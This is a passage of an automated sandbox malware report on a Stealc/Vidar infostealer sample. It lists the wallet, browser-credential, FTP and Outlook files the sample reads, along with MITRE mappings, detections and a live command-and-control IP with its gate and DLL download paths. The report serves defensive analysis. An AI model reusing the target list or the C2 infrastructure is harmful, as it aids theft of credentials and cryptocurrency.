Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\.
Source: file.exe, 00000000.00000002.2513651548.0000000000D36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json*q
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpus.wallet\\info.seco
Source: file.exe, 00000000.00000002.2513651548.0000000000D36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco9s
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.1%y
Source: file.exe, 00000000.00000002.2513651548.0000000000D36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2513651548.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2111533445.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
svc.ms-acdc-teams.office.com	52.123.243.94	true	false	unknown
chrome.cloudflare-dns.com	162.159.61.3	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.32	true	false	unknown
www.google.com	142.250.186.132	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308005983&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308006449&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308005972&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308002024&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://api.msn.com/auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=AFD58C2A-F937-48D9-8C21-3BA21956DDF0&scn=app_anon	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/)	chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/3	chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dllh	file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpus.wallet	file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://docs.google.com/document/J	chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
